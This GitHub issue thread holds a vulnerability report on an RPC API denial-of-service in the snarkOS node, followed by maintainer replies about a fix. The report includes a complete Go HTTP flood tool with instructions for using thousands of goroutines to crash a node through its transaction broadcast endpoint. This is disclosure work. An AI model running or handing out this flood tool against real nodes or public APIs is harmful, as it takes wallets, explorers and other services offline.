feezybabee commented 9 months ago

2270050

Your P2P is hardened against most network style DoS/crash attacks. I prefer P2P DoS so much more; but API DoS is super important (wallets, explorers, etc.) and if it's made impossible for anyone to broadcast transactions it could almost be argued that it's a type of network shutdown. I was saddened to see that RPC API DoS/crash isn't listed as crit - but that's ok!

Description of the vulnerability

Repeatedly sending GET or POST requests to any endpoint against the API port, which is exposed by default and without any WAF-like protection baked into it, causes a crash wherein the node becomes unresponsive, stops printing to terminal and the API times out. While WAF can protect against certain items, the transaction broadcast endpoint, as an example, doesn't appear to be rate limited on the official API in a way that would thwart this. Even if it were rate limited - small botnets don't care about rate limits and the only solution is a LOT of API endpoints in rotation.

Video example (VPS 1 attacking VPS 2)

{F2898902}

Attack code (golang)

package main

import (
    "bufio"
    "bytes"
    "crypto/tls"
    "fmt"
    "net/http"
    "os"
    "strconv"
    "sync"
    "time"

    "github.com/pkg/errors"
)

func main() {
    var url string
    fmt.Print("Enter the URL to send requests to: ")
    scanner := bufio.NewScanner(os.Stdin)
    if scanner.Scan() {
        url = scanner.Text()
    } else {
        fmt.Println("Failed to read URL from input")
        return
    }

    var requestType string
    fmt.Print("Enter request type (GET or POST): ")
    if scanner.Scan() {
        requestType = scanner.Text()
    } else {
        fmt.Println("Failed to read request type from input")
        return
    }

    var numThreads int
    fmt.Print("Enter the number of concurrent threads to use: ")
    if scanner.Scan() {
        numThreads, _ = strconv.Atoi(scanner.Text())
    } else {
        fmt.Println("Failed to read number of threads from input")
        return
    }

    var pauseDurationMs int
    fmt.Print("Enter the pause duration in milliseconds between each request: ")
    if scanner.Scan() {
        pauseDurationMs, _ = strconv.Atoi(scanner.Text())
    } else {
        fmt.Println("Failed to read pause duration from input")
        return
    }

    var wg sync.WaitGroup
    var numRequests int64
    var mutex sync.Mutex

    for i := 0; i < numThreads; i++ {
        wg.Add(1)
        go func() {
            defer wg.Done()
            tr := &http.Transport{
                TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
            }
            client := &http.Client{
                Transport: tr,
                Timeout:   0, // Zero timeout for non-blocking request
            }

            for {
                var err error

                if requestType == "POST" {
                    _, err = client.Post(url, "application/json", bytes.NewBufferString(`{
                        "owner": "1.private",
                        "microcredits": "1.private",
                        "_nonce": "1.public"
                    }`))
                } else {
                    _, err = client.Get(url)
                }

                if err != nil {
                    fmt.Println(errors.Wrap(err, "failed to make request"))
                }

                mutex.Lock()
                numRequests++
                mutex.Unlock()

                time.Sleep(time.Millisecond * time.Duration(pauseDurationMs))
            }
        }()
    }

    ticker := time.NewTicker(1 * time.Second)
    go func() {
        for range ticker.C {
            mutex.Lock()
            fmt.Printf("Total requests made: %d\n", numRequests)
            mutex.Unlock()
        }
    }()

    wg.Wait()
}

Run the attack

Save the above source code as attack.go and run it with go run attack.go, if you need to install Go, use snap install go --classic on Ubuntu. Before running the script, run ulimit -n 1000000 to boost socket availability. Use 10K - 25K threads/goroutines to instantly crash the remote machine, or use 10 - 1000 for a slower DoS that should kick the node out of sync; but the key issue is the freeze-crash that happens when endpoints are banged on.

A particularly vulnerable endpoint

The focal point is /testnet3/transaction/broadcast and POST spamming it - outside of what appears to be an overall failure in the API unless globally throttled through a WAF.

Take aim at this endpoint specifically: http://your-ip-here:3033/testnet3/transaction/broadcast which doesn't appear to be rate limited @ https://api.explorer.aleo.org, which I obviously didn't test against. I suggest go run attack.go, using 100 threads, the POST method and expecting your remote test machine's process to crash in under 10,000 requests or in that range.

Follow the instructions as visible in the terminal to the right (attacking machine)

[View original report to see screenshot]

The aftermath (total node freeze, OOM, node machine)

[View original report to see screenshot]

at this point the node process crashes by a remote attacking machine and all incoming connections are refused. Again, the focal point is /testnet3/transaction/broadcast with the POST HTTP method here.

Conclusion

I have kept this report concise due to this being a simple bug. What's most important to me is to convey the bug in the most digestible way possible. If you have ANY questions let me know and I'll make myself available. This looks like an interesting project btw. Funded, testnet, I'm intrigued.

Impact

Wallets, block explorers and dapps go offline short to long term causing chaos and market devaluation.

ljedrz commented 9 months ago

Cc https://github.com/AleoHQ/snarkOS/issues/1597.

visualbasic6 commented 9 months ago

Cc #1597.

Yeah, ok. Some guy said "Hey we should add IP associated rate limiting" years ago and so this new attack related to broadcasting transactions is identical to that. Right.

Take my full name out of this scam bug bounty incident please. Con artists.

howardwu commented 9 months ago

While I don't have context on the frustration, your report is a valid vulnerability.

There's a few remarks I can add to help move this discussion in a positive direction:

I took a look at https://github.com/AleoHQ/snarkOS/pull/2942 and it looks like it may remedy your concern. It would be worthwhile to test the Go code on a snarkOS node running this PR.
On Explorer APIs - to my knowledge, there are rate limiters on the Explorer endpoints.
There's ongoing discussion whether all snarkOS endpoints should be JWT guarded. It could be something to consider as part of hardening the endpoints.